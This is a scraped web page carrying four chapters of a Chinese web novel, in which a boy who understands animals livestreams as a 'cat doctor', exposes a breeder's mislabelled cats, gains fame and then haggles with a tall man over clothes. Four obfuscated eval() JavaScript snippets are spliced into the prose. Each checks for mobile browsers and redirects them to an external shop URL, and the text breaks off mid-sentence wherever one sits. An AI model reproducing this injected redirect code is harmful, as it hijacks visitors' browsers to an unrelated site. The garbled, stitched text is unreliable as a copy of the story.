;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534348|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴渊扶着眼镜的手指慢慢松开,“那也太可惜了。”他叹了口气,声音里带着点恰到好处的遗憾,“你成绩那么好。” 江亦一笑笑:“没办法。” “真的太可惜了。”他接过江亦一手上的扫帚帮忙扫地,“我妈天天和我念叨你,说你长得又俊,成绩又好。” 江亦一又把拖把递给他,“别说我了,你怎么样了?” 吴渊地刚扫完,又开始拖,“我就那样呗,勉勉强强擦个本科线,和你不能比。不过啊……”他头一抬,笑着说:“我家里打算送我出国读研。” 江亦一语气顿时向往,“出国啊?那要花不少钱吧。” “也还好吧,不多,一年也就几十万。” “几十万还不多啊?我都不敢想。”江亦一把抹布递给他。 吴渊跟加了油似的弯腰就开始到处抹,“那我和你肯定不一样。我家里就我一个,不供我供谁。等出国拿个硕士回来我就考公,一辈子吃喝不愁的。” “真好啊,真羡慕你。” “这有啥好羡慕的。”吴渊笑得阳光灿烂,“你看你这乱的,平时打工都没功夫收拾吧?我给你好好理一理。” “谢谢你,你真是好人。” “你这食盆没刷子都刷不干净,去拿个刷子给我。” “好哦。”江亦一转身就收了笑。 大太监半耳橘碎碎念:“猫不喜欢四眼仔!讨厌死了!讨厌死了!猫要去它家门口拉屎!” 江亦一倒觉得还好。反正西瓜是真的,地有人扫也是真的。 吴渊在江亦一家干了大半天活,扶着腰问:“你这裤子在哪买的?还挺时髦。” 牛仔裤前片被江亦一剪开了,露出一节白皙光洁的小腿,后头却还连着布料。 “你喜欢吗?十块钱,我帮你改。” 可能是江亦一穿着的确好看,吴渊稀里糊涂就付了钱,让人把自己好好的裤子给剪了。出门还笑呢,“有困难就说,等哥发达了就拉你一把。” 江亦一点点头,“谢谢你。” “咱俩谁跟谁啊,还跟我客气。”吴渊手一摆,“对了,我家隔壁的餐饮店在招零工,要不要我帮你问问?” 他料想江亦一会同意,却听他说:“暂时不了,我打算干点别的活。” 吴渊一愣,“啥活?” 江亦一正好也想摸行情,就问他:“直播你知道吗?我想当主播,不知道能不能赚到钱。” “你要当网红啊?”吴渊呆了两秒,连忙说:“这肯定不好干啊,又要剪视频又要写脚本,前期投入巨大,铁定回不了本。” 江亦一听着犹豫,“这么难吗?” “那肯定啊。而且网红都要长得好看还有才艺的。你长得是不差,但长得好看的多了去了。” “哦,这样啊。” 江亦一知道了。 “那还是算了吧。” “对!算了算了,当网红哪里靠谱啊。回去我就帮你问问旁边那家店,争取给你多谈点工资。” “行,那真是谢谢你了。” 江亦一一脸感激地将他送走,转身就把手机架起来了。 12. 新人主播 七月二十六日夜里十二点,也就是七月二十七日凌晨。 用着一个发烫到“我马上就炸给你看”的手机,江亦一戴上帽子口罩,勇敢地开了播。 ……没人。 江亦一端端正正坐着,眼睛一眨不眨地盯着屏幕右上角那个孤零零的“0”。过了一会儿,他抬手戳戳界面,确认没坏,只好又坐回去,眼巴巴地继续等。 数字+1,终于来人了!不待江亦一兴奋,又-1了。 他肩头一垮。 十块钱一次的连线还是太贵了吗……就在江亦一准备关掉时,陆续有几个人进了直播间,屏幕也弹出了连麦申请。 QAQ! 江亦一立马接通,“您好!” 连麦的观众剃着小平头,脸有些圆,嘴巴一张一合人也一顿一顿的,“喂,喂?喂!这是我卡还是你卡?” 江亦一忙说:“是我这里卡,你有什么需要帮助的吗?” 连麦人拍拍镜头,把脸往前凑了凑,一字一句念:“猫猫医生,直播问诊……你是兽医吗?是看猫的不?” 江亦一认真点头:“是的。小猫小狗生病我都能看,我还能告诉你它们在想什么。” 【?吹牛逼呢吧。】 【生病能看我信,懂它们在想什么?】 【昨天也刷到了个说能读懂小猫心声的,纯骗子。】 连麦人也觉不靠谱,但他实在没招了,反正就十块钱而且连都连上了,死马当活马医吧。 “行,那你说说看我家芝麻糊在想什么。” 他拿着手机往外走,看着像是自养自繁的那种家庭猫舍,收拾得还算干净。 “就是这只。” 镜头对准一只躺在猫爬架上的矮脚玳瑁。 这么晚了猫也没睡,眼睛半睁着,耳朵往后压,尾巴尖有一下没一下地甩来甩去。镜头一凑近,它就偏开脸,只拿眼角冷冷斜过来,看起来万分嫌弃自己的主人。 江亦一盯着看了两秒,开口问:“你家里有几只猫?” “就四只,我刚做这行没多久。这不到了发情期,我想给芝麻糊配种,结果它死活都不配合。三只小公猫啊,愣是一只都看不上,谁一靠近它,它不是抬爪子就是下嘴,凶得要命,前两天还把我手给咬了。” 连麦人伸手去摸猫脑袋,还没碰到就被猫哈气,又挠了一爪子。 “你看看,就这么凶!它到底是怎么了?是不是看不上家里的猫?真不喜欢的话我只能带着它再去外面相亲了。” “不用相亲了。”江亦一说。 连麦人不解,“为啥?” 因为这只小玳瑁正在愤怒地喵了个咪:“猫是公的!公的!你这白痴人类!” 江亦一说:“因为你家芝麻糊是只小公猫,它喜欢小女猫。” 话刚出口,凶神恶煞的小玳瑁看着屏幕眼神都清澈了。 呜呜呜,终于有人懂猫了。 可弹幕炸了。 【果然是骗子,还是个低级骗子。】 【笑死,玳瑁都是母猫,这都不知道也敢开播?】 【主播是九年义务教育漏网之鱼?】 【十块钱当智商税了。】 连麦人也确定自己遇上骗子了,“你搞笑呢?芝麻糊是我花了大价钱买来做种母的,怎么可能是公的?” 他说罢一点也不在意小猫隐私,掰开小猫的毛□□对着镜头展示,“这不明显是个小母猫吗?” 江亦一解释道:“我建议你带它去做个详细检查,它可能是很罕见的隐睾或生殖器发育不典型。” 【别以为瞎扯两个名词我就会信了。】 【十块钱都骗,现在的主播真是毫无下限。】 江亦一抿了抿嘴,“我没骗人。” 【六百六十六,真是演都不演了。】 【就为了十块钱至于吗?你好歹骗个上万块再说啊。】 江亦一一向不擅长应付这种场面。满屏的质疑和嘲讽扑上来,他张了张嘴刚想解释,手机屏幕就猛地一花。 连麦人的脸先是被拉得老长,紧接着“滋啦”一声,画面彻底黑了。 江亦一呆呆看着黑下去的屏幕。 这台老人机坚持这么久,终于还是当着他的面儿,死得不能再死了。 江亦一不信邪,啪啪拍着手机,恨不得把魂给它拍回来。这一刻,他再也不嫌弃它总是莫名其妙地放音乐了,只求它争口气再亮一亮。 那亮是不可能再亮的。 江亦一怒而变猫,爬上楼梯对着椅子腿“夸夸”就是一顿刨。 咋这样!咋这样!这才赚了十块钱! 想起屏幕上的谩骂,江亦一有些丧气地耷拉着耳朵,两脚一瘫生无可恋了。 江亦一十八岁的第一天,出师不利,顶着两团熊猫眼睁开眼睛。 夏天的早晨坏,树上的蝉也坏,滋儿哇滋儿哇的叫不消停。 江亦一绷着脸跳下床,去看刀疤狸。它还是没醒,好在状态已经稳定下来,肚皮随着呼吸微微起伏,鼻头也有了血色。 总算是个好情况。江亦一稍有安慰,变回人形干活去了。 他自己吃得糊弄,叼着馒头,把猫饭狗饭拌好,端着盆站到院里喊:“开饭了——” 狗倒是呼啦啦围上来一片,猫却少了好几张脸。 “半耳橘呢?”江亦一问。 趴趴耳回:“狗不知道,它们夜里就出去了。” 江亦一深沉沉了口气。 猫和狗不同。狗在人眼里会咬人,会有狂犬病,江亦一从不让它们单独出门。猫却不会这么拘着。 可哪怕猫的生存环境相对安全,也不能这样夜不归宿。 江亦一把剩下的半个馒头三两口塞进嘴里,扯过鞋往脚上一套,正要出门去找,就听半耳橘呜呜哇哇的越叫越近,“老大!老大!” “你们干什么去了?”江亦一脸色一沉,语气不大好,“不是说了坏人的事情还没处理完,让你们别乱跑吗?” 半耳橘毫不在意他的态度,放下嘴里的东西,献宝似的往前一推,“老大你看这个。” 江亦一只当又是在哪叼来的破纸,目光往下一落,却顿住了。 那是一张鲜红的钞票。 锅盔头也钻了进来,叼着一张蓝的。再后面,几只灰扑扑的猫一前一后跳进院墙,嘴里也都各自衔着东西,长长短短,花花绿绿的。 半耳橘爪子搭着江亦一的脚面,昂着头问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534349|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老大,这个是不是钱啊?” 江亦一抿着嘴角,“你们出去就是为了找钱?” 半耳橘高兴得尾巴直晃,“对呀对呀,猫们出去捡钱,给老大买手机。” 它们其实不懂太多。 不懂直播,不懂什么叫拍视频,也不懂那个叫手机的砖头到底有什么用。 它们只知道,老大不开心。 而老大不开心,是因为没有手机。 买手机要钱,那就去找钱。找到钱给老大买手机,老大就开心。 就这么简单。 江亦一看着脚边这几只灰头土脸的猫,一时说不出话来。 猫哪里有什么分辨能力,在移动支付盛行的年代,这张瞎猫碰上死耗子的钱,它们找了一整夜。 半耳橘还仰着脑袋,橙黄色的眼睛亮晶晶的,“这个够买手机嘛?不够的话猫吃完饭再出去找。” 江亦一低着头,半晌才低低道:“够了。” 好耶!”半耳橘和锅盔头啪地对了一下爪,尾巴齐齐竖高,转头就往饭盆里冲。 江亦一蹲下身,捡起那张一百块,又捡起其余几张100000000块。 它们吃饭吧唧嘴就算了,还要含着饭念念叨叨: “猫会冲厕所水。” “狗会拖地会拉磨。” “猫还能去四眼仔家门口拉屎!” “猫/狗可以帮老大赚钱!” “……”一群笨蛋。 江亦一弯腰系上鞋带,直起身往外走。 有狗问:“老大你去哪?” 江亦一回头,晨光正落在他的脸上。少年眉眼舒展,嘴角往上扬着,“买!手!机!” 小猫小狗都在努力,小猫大王怎么能够丧气! 区区直播而已,一次不行就两次,两次不行就三次,一直不行就再出去打工,有什么好怕的! “我走了!”江亦一志得意满。 没满太久。他站在手机柜台前,对着价格标签陷入了漫长的沉默。 怎!么!这!么!贵! 小猫买不起全新的,去到隔壁的回收店买了个二手的。 哪怕二手的也比高良姜的那台老人机好,至少江亦一捣鼓了半天,它运行流畅,也没跟中了邪似的突然外放音乐。 江亦一把卡插进去,再把直播软件下好。他低头摆弄了一阵,心里那点没出息的忐忑又一点点冒了上来。 昨晚的直播实在算不上愉快。 明明他说的是真话,却被那么多人骂是骗子。 但那又怎么样。 说到底,连上线就有钱,挨两句骂又不会少块肉。 江亦一深吸一口气,在心里给自己掰爪子算: 不看弹幕。 不做多余解释。 只管看病。 只管赚钱。 这么一想,好像也没什么大不了的。 加油! 江亦一握了握拳,点击登录账号。 刚一登上,通知消息便跟开了闸似的哗啦啦往外响。 江亦一正不明所以,就见自己的新人动态底下,被无数条留言淹没: 【我靠,神医!这玳瑁居然真是公的!】 13. 躺着打脸 周宁大晚上没遇鬼,遇到了骗子。 十块钱当然不多,可这口气实在是咽不下去。 她养猫时间不长,但自认也算见过世面。家里的几只猫都是花了大价钱托朋友买的,就是想自己做繁育。 尤其是芝麻糊这只小母猫,毛色稀罕,品相又好,花了她大几万块钱。朋友再三拍胸脯说是好苗子,她才咬咬牙买下来的。 可那骗子主播竟然敢说它是公的!还敢直接挂断连线! 周宁越想越气。 她不打算让骗子好过,当即也开了直播:“现在是凌晨一点啊家人们,我不睡了,马上就带你们去打假。” 【妈呀,刷到后续了。】 【支持主播,骗子太恶心了。】 【怪不得把帽子口罩戴得那么严实,就是怕被熟人认出来吧?】 周末的凌晨,这是社畜们誓死捍卫的自由。睡是不可能睡的,直播间的人数噌噌就往上涨。 【啥瓜啥瓜?来个人先解释下!】 有观众科普:【有个新人主播说自己是兽医,能听懂猫话,连十块钱都骗。】 【啊?这是穷疯了吧?】 弹幕欻欻往上翻,骂江亦一是骗子和要向平台举报他的人络绎不绝。 周宁本来只是气不过,可眼看着直播间的人气越涨越高,她心里的火气还没下去,另一股更鲜活的念头也跟着冒了出来。 这么多人。 这可都是流量。 她本来就想做繁育类的宠物博主,平时发视频发动态,扑腾几个月了也就那点死水。眼下这破天的富贵自己撞上门来,不接那是傻子。 “家人们别急,我已经到医院门口了!”她边推门边说:“直播带你们看检查结果,出来了咱们一起去举报那骗子!” 【支持!】 【给主播点赞,就需要这么较真的人。】 周宁把航空箱往诊台上一放,直奔主题:“给我家猫做个体检。” 助理医生被这副来势汹汹的架势弄得一愣,抬头问:“你具体是想查什么?” 周宁眼看直播间的在线人数突破了一万,底气更足了:“查性别!” 助理医生:? “性别?”他像是怕自己听错了,又重复了一遍,“公母不是一眼就能看出来?” 周宁把芝麻糊抱了出来,往前一递,“对啊,你看看,有个骗子非说我家这只是公猫。” 助理医生翻尾巴看了一眼,立刻皱眉,“胡扯呢?这怎么会是公的?” 直播间当即开始果不其然。 【我就说是骗子吧。】 【可惜那人跑了,不然就可以当众打他脸了!】 【那人ID是多少?我去举报。】 周宁一拍大腿,“我就说啊!这不明明白白的小母猫吗?” 就在这时,里间又出来了个年长些的医生,正套着白大褂问:“怎么了?” 助理医生三言两语解释完,年长医生的目光在芝麻糊的毛色上停了一瞬,“玳瑁啊?” 这种花色几乎只出现在母猫身上,她行医几十年,从没亲眼见过公玳瑁。但秉持着求真的态度,她还是接过芝麻糊,摸了摸□□到生殖口的距离。 这一摸,她眉头蹙紧,又转去摸腹股沟两侧。 【这是咋了?】 【不会是有别的病吧?】 【估计是,可能是身体哪里不舒服,所以才不愿意□□。】 周宁也急了,“是生病了吗?” “倒不是生病……”年长医生顿了一下,“这好像还真有可能是只公猫。” 【?】 【哈?】 周宁一脸沧桑地坐在检查室外头,对着镜头说:“家人们,我想来根烟。” 【好好的闺女变儿子,是我也得来一根。】 【别啊,这不是检查结果还没出来吗。】 周宁眼神都发直了,“你们知道这猫我花了多少钱吗……” 弹幕还在飞,她却已经有点看不进去了。 一开始的那股火早就不知道跑到哪了。先前骂得凶,是觉得自己十有八九碰上了骗子。开直播,也是想着既能出气,又能顺手接一波流量。 可真到了这一刻,脑子里想到的只有那几万块钱。 如果芝麻糊真是公的,那她这段时间折腾来折腾去,简直像个天大的笑话。 检查室的门“咔哒”一声,年长医生抱着猫走了出来。 周宁抹了把脸站起身,“怎么样了?” 年长医生说:“不是典型公猫。” 周宁一愣。 弹幕也跟着安静一瞬。 【靠……所以还是乌龙啊?】 【搁这给我演反转呢?差点就信那骗子了。】 医生继续说:“也不是典型母猫。” 周宁:“?” 弹幕:【?】 年长医生组织了一下措辞:“外面像母猫,体内有□□组织,位置也符合隐睾的表现,可外生殖器和内部生殖道的发育又都不成熟。” “这种情况极度罕见。”她说:“你可以理解成,它生理上既不是公猫也不是母猫,但它有骑跨行为,所以心理认同上觉得自己是公猫。” 弹幕瞬间沸腾。 【炸裂!!】 【不是,这和那个骗子说的不是一毛一样吗?】 【我去,所以他讲的就是对的?】 【快快快,那人ID多少?!我要去围观,啊啊啊我要看看到底有没有这么神!】 周宁人都傻了,可当她发现在线人数已经冲过她花出去的钱时,瞬间满血复活。 只要能抓住这波流量,把账号做起来,这点损失算个什么东西!! 弹幕满屏都是让周宁再去连线,周宁自己也是这么想的。 她一夜没睡,白天也没合眼,眼睛都熬红了,手机却始终攥在手里,死死盯着那个账号的开播提醒。 可那边始终没有消息。就在她实在撑不住了打算去眯一会时,对方上线了。 江亦一从留言里知道了大概情况。 之前那些骂他骗子的,现在都跑过来喊他“神医”,让他接着问诊。 他要是猫形,这会儿尾巴都该竖起来了。但他现在是人,就很矜持地翘了一下嘴。 哼。 就说!小猫!没有!撒谎! 不过那点藏不住的雀跃才刚冒头,江亦一就又抿了嘴。他在心里给自己敲警钟:不能得意忘形。不管是好的还是坏的,听听就行了,都不能太较真。 我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534350|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶牛猫活在世上,最要紧的还是养家糊口! 江亦一没再往下翻那些留言,把手机架在支架上。 镜头打开,屏幕里映出他的脸。过往经历告诉江亦一,被过多关注容貌不是什么好事,他把手机下压,只露出颈部以下。 一切准备就绪,他打开直播。 用惯了老人机,骤然换了个反应快的,江亦一还有些不习惯。刚一抬眼,就见右上角的人数跟疯了似的往上蹿,眨眼的工夫就破了万。 江亦一还以为是卡了,以至于设置连线金额时不小心多点了两下零。刚想撤回重改,连线提示就弹了出来。 屏幕接通,周宁那张熬得满是红血丝的脸怼上来,“神医!”她激动得声音都劈了,“我错了,是我有眼不识泰山,你怎么才来啊,我等你等得花都谢了!” “……”江亦一被她这一串话砸得愣了一下,脚趾无措地蜷了蜷,先说:“连线金额输错了,结束以后我把钱退给你。” “别退别退!”周宁连忙摆手,“一千连一次又不贵。” 什么!这还不贵? 江亦一瞳孔一震。 +口+! 他维持住猫猫医生该有的稳重,“多的还是会退。你想咨询什么?” 周宁说:“我连夜带了芝麻糊去做检查,它和你说的情况就是一样的。真是神了,你到底是怎么诊断出来的?” 江亦一说:“我从小接触猫狗,比较熟悉,就知道了。” 【我咋这么不信呢?】 【对啊,再熟悉也不可能隔空就对着长有母猫生殖器官的玳瑁说是公的吧?】 【还是感觉是骗子。】 江亦一打定主意不再过多解释。反正也没人能猜得到真正的缘由,说得越多越容易露怯,还不如少开口,显得高深莫测一点。 周宁其实也没打算在这个问题上深究,见直播间热度正好,立刻顺着往下接:“那你再帮我看看其他几只猫吧。” “可以的。”江亦一点了下头,又补充道:“但先说明,我不是执业兽医,这里只做行为观察和就医建议。” “哦,好。其实我本来就打算今天带去检查的,这下正好让你先看。”她把镜头对准一只银白拿破仑,“就是它,这几天一直恹恹的,连饭都懒得吃。” 江亦一往前微微倾了身子,镜头里一晃而过一截清瘦的下颌,“你让我和它说几句话。” 【我去,莫名觉得主播长得很好看。】 【+1,声音也好听,感觉是帅哥。】 【可拉倒吧,真好看会不露脸?铁丑男。】 江亦一已经开始问小猫了:“你哪里不舒服吗?” 普通人只能听见小猫喵了一声,江亦一又回:“这样啊,那是很辛苦。” 【你还真别说,他问一句这猫就回一句。】 【这很正常啊,有些话痨猫就是很爱回人。】 周宁插话问:“它是怎么了?” 江亦一回:“它不是生病。” “那怎么不吃饭?难不成是心理出问题了?” “嗯……它怀孕了。” 周宁:“?你放屁吧?” “快两个月了,应该没几天就要生了。” 画面里的周宁,“……它是公的。” 14.一战成名 【?】 【ber,你等会。】 【我记得连麦人说自己就玳瑁一只“母”猫来着?】 这还不算完,江亦一目光瞥见旁边另一只,“你这只猫也不太对。” 周宁脸都麻了。 她僵硬地把镜头转过去,画面里是一只满满当当坐着的纯白矮脚,体型圆润,毛厚得像团刚蒸好的馒头。 “什么叫也不太对?”周宁声音发飘,“你别告诉我它也怀了。” 江亦一摇头,“那倒没有。” 周宁刚松半口气。 江亦一说:“它是天阉。” 周宁:“?” 【哇塞,零帧起步,张口就来。】 【这就是你们说的神医?这么草率吗?】 【我咋这么不信呢。】 周宁脸上的表情终于从麻木变成了惊恐,她掰开小猫□□展示物件,“你看好了,它有蛋的啊!” “有器官不代表有生殖能力,” 纯白小短腿倨傲地咪了一声:“猫不要□□,猫只要食物。” “……和繁殖欲望。” 江亦一看了看屏幕对面这齐聚一堂的猫中极品,过了几秒,他问:“你这些猫都是从哪里买的?买来之前没做体检吗?” 周宁一愣,“在我发小那里买的啊。怎么可能没做过体检?体检报告还在我这儿呢!” 江亦一沉默了几息。 周宁被他这默不作声弄得心里发毛,“不是,你别不说话啊,什么意思啊?” 江亦一说:“我建议你把它们带去正规医院再做一次完整检查。” 周宁脸色一变,“你到底想说什么?” 江亦一没将话说太死,“你再查查吧。” “我现在就带它们去。”周宁攥着手机,脑筋转得飞快。 一方面她不信发小会骗自己,另一方面也存了起号的心思。且不管是真是假,只要这场连线能一直进行下去,对她而言都是有利的。 她当即说:“直播间里这么多观众都看着呢。要是你诓我,假一赔十,你得赔我一万再加小猫的检查费用。” 江亦一嘴角微抿,没有应声。 弹幕立刻抓住了这一瞬间的沉默。 【怎么一说赔钱就哑巴了?】 【这种我见过,连线一挂就注销,下次换号继续骗。】 【对,而且他还一直不露脸!】 周宁怕他不应,再次加码:“当然,要是真让你说中了,那的确是你有本事,我给你刷一万的打赏。” 【对赌吗?有意思。】 【这不接?】 【换我是真有本事的那个,这时候肯定接赌约,这不是白赚钱吗?说白了就是心虚呗。】 “我只问诊,不接赌约。”江亦一抬起眼,声音清清冷冷的:“如果我说错了,连线费我会全部退给你。” 周宁的目的只是留下他,当即点头,“行,那你别挂。” 她是个风风火火的性子,当即打包家里的猫去了昨晚的医院。 连线一直进行着。 周宁那边兵荒马乱,镜头晃得人眼晕。 江亦一却一直没怎么说话。 镜头看不见他的脸,只能隐约捕捉到他低头的姿态。少年肩宽背薄,锁骨如雪上孤峭的梅枝。 比起周宁那边的鸡飞狗跳,他安安静静。 【我有点想说……他锁骨好漂亮啊。】 【我也……虽然看不见脸,但感觉人不丑。】 【别被包装骗了好吗,丑男最会搞这种神秘感了。】 周宁推开医院大门,助理医生一愣,“你怎么又来了?” 周宁把三只猫一一放上诊台,“做性别检查!” “……”助理医生:“先查哪只?” 周宁说:“先看银白吧,再给它做个B超,看看有没有胎儿。” 助理医生低头看了看银白,拉开它的腿,“你看好了,这里长着oIo。” 周宁眼神空洞:“所以我来了。” “……”助理医生一言难尽地抱着猫进了检查室,没多久后出来了,脸上的表情成了怀疑人生。 【怎么样,怎么样?】 周宁与直播间的十几万人一起等待着,听他艰难道:“它确实有子宫。” 周宁:“……” 弹幕:【……】 助理医生又说:“B超显示了胎儿影像,只有一只,月份不小了。” 直播间短暂空白一瞬。 下一秒,弹幕炸了。 【我靠!所以又中了!这个主播说的就是对的!】 【不是,这到底咋看出来的!!!】 “神医!”周宁猛地扭头朝江亦一喊:“其实我一直就是信你的!” 江亦一宠辱不惊,只画面中下巴一抬,矜持说:“继续吧。” 很快,纯白的那只检测结果也出来了。 医生表情复杂:“这只的生殖系统也发育异常,激素水平不达标,基本没有正常繁育能力。” 【那不就是天阉吗哈哈】 【中看不中用的废物小公猫!】 周宁在银白的检查结果出来时就已经信了江亦一,这会儿更是彻底服气。她二话不说点开打赏,“我愿赌服输,你是真有本事,我是真傻逼啊。” 【愿赌服输!我也给神医刷礼物!】 【不是这也太神了吧?我还是不理解啊,难不成真的能和小猫沟通吗?】 江亦一还不太熟这个平台的玩法,只知道连线要收费,至于屏幕上突然炸出来那一串花花绿绿、飞来飞去的打赏特效,他根本不知道是什么。 倒是记得和周宁说:“银白的情况比较特殊,最好再带它做一下产道检查,如果产道偏窄,能剖就剖。” 周宁点头,“你放心吧神医,我已经为它们都约了全身体检。” 江亦一还不知道这场直播的流量会为周宁带来多少收益,还在劝慰对方:“你报警吧,看能不能追回损失。” “那是一定要的!”周宁气道:“要不是有你,我估计得等到银白难产身亡才会发现不对劲。我们从小一起玩到大啊,她这个样子宰我?” 【我不行了,又惨又搞笑。】 【母猫非母,公猫非公,还有天阉……你隔这奇葩集邮呢?】 这时突然有弹幕说:【你们不觉得连麦的这位也很迷惑吗?小平头,小圆脸,主播主播,你问问平头哥是直男还是gay。】 江亦一看见弹幕上的问题愣了下,“她是女生。” 【?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535243|203786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【?ber,你再等会……】 周宁也看到了,拉着脸说:“什么直男还是gay,我是T!” 【……牛逼……】 【我不行了我要笑死了哈哈哈。】 【怪不得我看不出小猫性别,因为人的我也看不出来。】 【我宣布,从今天起这里就是神医猫猫直播间!】 江亦一盯着那几个字看了两秒。 神医猫猫。 神医!猫猫! 神医猫猫想要挠椅子腿。 江亦一声音淡定:“你这边没有其他疑问的话,问诊就结束了。” 周宁迫不及待想回去剪视频,连连点头:“没了没了,神医你先忙,我这边后续一定给你反馈。” 将要挂断时,江亦一忽然想起什么,又认真补了一句:“还有,刚才的连线金额是我设置错了,多出来的钱我会退给你。” “不不不,真不用。”周宁忙说:“那是你该拿的。你今晚帮我省下来的可不止这点钱——” 话还没说完,屏幕忽然一黑。 江亦一的新二手机在连续直播了数个小时候后,不堪重负,没电关机。 直播间短暂安静了一瞬。 【果然神医,就是这么直接下线!】 【太玄了吧,我要关注他,看后续发展。】 【对对对,我也要关注!】 在短视频与直播早已饱和的如今,江亦一异军突起,靠着一场连线涨粉几万。 当然,此时正在给手机充电的江亦一对此一无所知。 他正蹲在插座旁边,认真在心里掰爪子算今天的入账。 半耳橘捡回来一百,连线费误收一千,多收的九百九要退回去。 所以今天收入110,然后买手机支出1100…… 负哒!负哒!这怎么是负哒! 小猫心里大叫。 “老大!老大!”院里有猫大喊:“有高人来了。” “来了。”江亦一冷静起身。 这么晚了是谁?还高人? 远远看见那极高的个头,原来是这个高人……江亦一没绷住,挠了挠脸。 “你有什么事吗?” 屈政彧大刺刺站在门口,腿边堆着好几个袋子,“来给你送钱。” 江亦一打开门的动作一愣,没等他问,屈政彧从口袋里掏出调解回执,“你的伤情赔偿下来了,你数数,没问题就在确认单上签个字。” 江亦一眼睛唰得一亮,一把拉开门栓,接过东西。 屈政彧垂眼看他数钱。 就十张,来来回回数,雪白的脸上冷冷静静,耳朵尖却一点点红了。 屈政彧舌尖抵了抵腮,偏头低笑了一声。 江亦一不明所以,抬起头说:“确认完了,没有问题。”交接完事项,他还知道走客套:“真是谢谢你,还特地跑一趟。” 屈政彧往墙上一靠,挑起眉问:“怎么谢?” “……” 他咋还真要谢! 不待江亦一思考,屈政彧提起脚边的袋子,“这样吧,我家厂里的衣服有些滞销,你帮帮忙,买几件。” 推销来的! 想骗小猫刚到手的钱来的! 江亦一反手就去关门。 15.生日蛋糕 江亦一用力。 门不动。 江亦一还用力。 门还不动。 屈政彧懒洋洋地支手撑着,“小朋友,刚拿完钱就翻脸?” “我不是小朋友。”不是小朋友的江亦一踩人脚。 结果一脚踩中了,自己倒先愣了。 他没觉得自己能踩到……照屈政彧的反应速度,这人应该在他抬脚时就躲开,再顺带欠揍地笑上一声。 可屈政彧没动。 江亦一低头看见自己的鞋尖踩在那只黑靴上,莫名有点骑虎难下。 僵了几秒,他若无其事地把脚挪开。 屈政彧垂眼瞧他,觉得这小孩实在很有意思。 数钱的时候耳朵尖都开心红了,一听要花钱,立马就翻脸。 像只刚把小鱼干扒进窝里、转头就朝人哈气的猫。哈着哈着真伤到人了,自己又懵了,斜着眼观察好几秒,过来试探人类了,“我家衣服太多了,再买放不下了。” 屈政彧似有似无“嗯”了一声,又问:“真不考虑一下啊?” 江亦一斩钉截铁:“不考——”话音在看见屈政彧拎出的衣服时,慢慢拐了个弯,“……虑。” 屈政彧提着东西展示,像可惜道:“真不看看?样式很不错的。” 那件衬衫颜色渐变,介于褪过水的蓝与白之间,没有多余装饰,剪裁利落时尚。 江亦一看了一眼,别开脸。眼睛很快就又转回来,“……多少钱啊?” 天生也好后养也罢,观察细节是刻进屈政彧骨子里的东西。 初见江亦一,他隔着人群看了他许久。一身旧衣收拾得很干净,衣摆压进腰间,细窄的腰带一束,过分宽松的布料就显出几分利落。 后来几次见面也是这样。 打零工,送外卖,晒得满身汗。狼狈归狼狈,却从不邋遢。 这是一个很爱打扮的小孩,也是一个自尊心很强的人。 直接送东西他绝不会收。 屈政彧目光似有晦明,半晌慢悠悠道:“一百一件。” 江亦一立马砍价,“五十。” 屈政彧一脸爽快,“成交。” 喵了个咪的!砍少了! 江亦一扼腕。 他目光一扫剩余袋子,立马想着补救措施,“这些我都看看吧,要是都能要的话,打包价一起两百。” 屈政彧面露犹豫。 江亦一作势关门。 “行吧。” 嘿嘿。 江亦一当即接手。 两套衣服加双鞋,一共两百块。江亦一摸着料子,有些犹疑,“这样的衣服也能滞销吗?” 屈政彧面不改色心不跳,“嗯,过季了,都是压在仓库里好几年的款了。” =w=那让小猫走猫屎运了。 江亦一叠好衣服装进纸袋里,又从刚到手的一千块里抽出两张,递了过去。 屈政彧没接,“不试试合不合适?” 江亦一半扬着脸,“我一看就知道,不用试。” “鞋也不用试?” “……” 江亦一低头看了眼那双好看到不像话的鞋子。 确实要试。 不试万一不合脚,那钱就白花了。 